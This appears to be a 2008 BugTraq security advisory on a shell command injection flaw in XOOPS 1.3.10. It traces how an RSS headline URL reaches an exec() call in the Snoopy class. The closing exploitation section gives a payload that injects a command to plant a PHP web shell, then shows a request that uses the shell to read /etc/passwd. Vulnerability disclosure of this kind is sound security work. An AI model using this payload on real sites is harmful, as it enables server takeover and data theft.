BugTraq
xoops-1.3.10 shell command execute vulnerability ( causing snoopy class ) Sep 07 2008 12:13PM
geinblues gmail com
==

xoops-1.3.10 shell command execute vulnerability ( causing snoopy class )

==

Author: geinblues ( geinblues [at] gmail [dot] com )

DATE: 9.7.2008

Site: http://enterblue.net/~x90c/

Risk: Midium

==

[0] Vulnerability Tracing ( Tracing [BREAK 0] ~ [BREAK 6] )

~/xoops-1.3.10/html/class/snoopy.class.php

------------------------------------------------------------------------
--------------------------------------------

function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")

{

..

/* [BREAK 5]: $URI(sourceURl in vulnerable Moudle) is Ours injected parameter From below fetch() */

$URI_PARTS = parse_url($URI);

..

/* [BREAK 6]: $URI (vulerable parameter) If we can reach to below, Then We can execute system shell command */

exec($this->curl_path." -D \"/tmp/$headerfile\"".$cmdline_params." ".$URI,$results,$return);

..

}

function fetch($URI)

{

//preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS);

$URI_PARTS = parse_url($URI);

if (!empty($URI_PARTS["user"]))

$this->user = $URI_PARTS["user"];

if (!empty($URI_PARTS["pass"]))

$this->pass = $URI_PARTS["pass"];

switch($URI_PARTS["scheme"])

{

case "http":

..

case "https": /* [BREAK 3] sourceURl's first 5Bytes ( https in [BREAK 0] ) */

if(!$this->curl_path || (!is_executable($this->curl_path)))

return false;

$this->host = $URI_PARTS["host"];

if(!empty($URI_PARTS["port"]))

$this->port = $URI_PARTS["port"];

if($this->_isproxy)

{

// using proxy, send entire URI

$this->_httpsrequest($URI,$URI,$this->_httpmethod);

}

else

{

$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");

/* [BREAK 4] _httpsrequest(.., $URI, ..); Here Our Supplied $URI(sourceURl) */

// no proxy, send only the path

$this->_httpsrequest($path, $URI, $this->_httpmethod);

}

default:

..

}

return true;

}

------------------------------------------------------------------------
--------------------------------------------

~/xoops-1.3.10/class/phpsyndication.lib.php

// | required: - PHP |

// | - Snoopy (find it here: http://freshmeat.net/projects/snoopy) |

/* [BREAK 1] We can supply parameter from RSS file into sourceUrl firstly */

class RSStoHTML

{

var $sourceUrl; // location of the source RSS file

..

}

/**

* includes Snoopy class for remote file access

*/

require(XOOPS_ROOT_PATH."/class/snoopy.class.php");

..

function getData($forcecache=false)

{

if(_PHPSYNDICATION_CONNECTED && $forcecache != true && (!file_exists($this->cacheDir.$this->cacheFile) || (filemtime($this->cacheDir.$this->cacheFile) + $this->cacheTimeout - time()) < 0))

{

$snoopy = new Snoopy;

/* [BREAK 2] Here snoopy->fetch(sourceUrl from [BREAK 1]) member function calling */

$snoopy->fetch($this->sourceUrl);

$data = $snoopy->results;

$cacheFile = fopen($this->cacheDir.$this->cacheFile, "w");

fwrite($cacheFile, $data);

fclose($cacheFile);

}

// fsockopen failed the last time, so force cache

elseif ( $forcecache == true )

{

if (file_exists($this->cacheDir.$this->cacheFile)) {

$data = implode('', file($this->cacheDir.$this->cacheFile));

// set the modified time to a future time, and let the server have time to come up again

touch($this->cacheDir.$this->cacheFile, time() + $this->cacheTimeout);

} else {

$data = "";

}

} else {

$data = implode('', file($this->cacheDir.$this->cacheFile));

}

return $data;

}

function getHtml($fromcache=false)

{

$data = $this->getData($fromcache);

..

function getTitle($fromcache=false)

{

$data = $this->getData($fromcache=false);

------------------------------------------------------------------------
--------------------------------------------

~/xoops-1.3.10/html/modules/headlines/blocks/headlines.php

<?php

function b_headlines_show() {

global $xoopsDB;

$block = array();

$block['title'] = _MB_HEADLINES_TITLE;

$block['content'] = "";

include(XOOPS_ROOT_PATH."/class/phpsyndication.lib.php");

$cache_dir = XOOPS_ROOT_PATH."/modules/headlines/cache/";

$cache_time = 3600;

$max_items = 10;

$result = $xoopsDB->query("SELECT hid, sitename, url, headlinesurl, status FROM ".$xoopsDB->prefix("headlines")." WHERE status=1 OR status=2");

$xoopsDB->queryF("UPDATE ".$xoopsDB->prefix("headlines")." SET status=1 WHERE status=2");

while (list($hid, $sitename, $url, $headlinesurl, $status) = $xoopsDB->fetchRow($result)) {

$cache_file = "newsheadline-$hid.cache";

$block['content'] .= "<p>";

// fsockopen was ok the last time, so do it again

if ( $status == 2 ) {

$synd = new RSStoHTML($headlinesurl, $cache_dir, $cache_file, $cache_time, $max_items);

$block['content'] .= "<b>".$synd->getTitle()."</b><br />";

$block['content'] .= $synd->getHtml();

}

// fsockopen did not return on the last attempt, so use cache

elseif ( $status == 1 ) {

// change cache time to 1 day(24hrs) might be safer

/* [BREAK 0] RSStoHTML called when using this headlines module */

$synd = new RSStoHTML($headlinesurl, $cache_dir, $cache_file, 86400, $max_items);

$block['content'] .= "<b>".$synd->getTitle(true)."</b><br />";

$block['content'] .= $synd->getHtml(true);

}

$block['content'] .= "</p>";

// set status to 2(ok) for headlines that passed fsockopen or used cache

$xoopsDB->queryF("UPDATE ".$xoopsDB->prefix("headlines")." SET status=2 WHERE hid=$hid");

}

return $block;

}

?>

[1] Exploitation:

A. (*)INTO DB:

headlinesurl(headlines module table's field) = https://;`echo '<?passthru($cmd)?>' >> xox.php`

B. Browsing xoops pages for referencing headlines module ( at this time. our parameter reached to snoopy class's exec(??,$URI,??) )

C.

IN WEB-BROWSER:

http://victim/xoops-1.3.10/html/class/xox.php?cmd='cat /etc/passwd'

TODO : http://www.xoops.org/modules/news/archive.php

We can search more vulnerable modules else headlinesurl (default module) from above url.

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus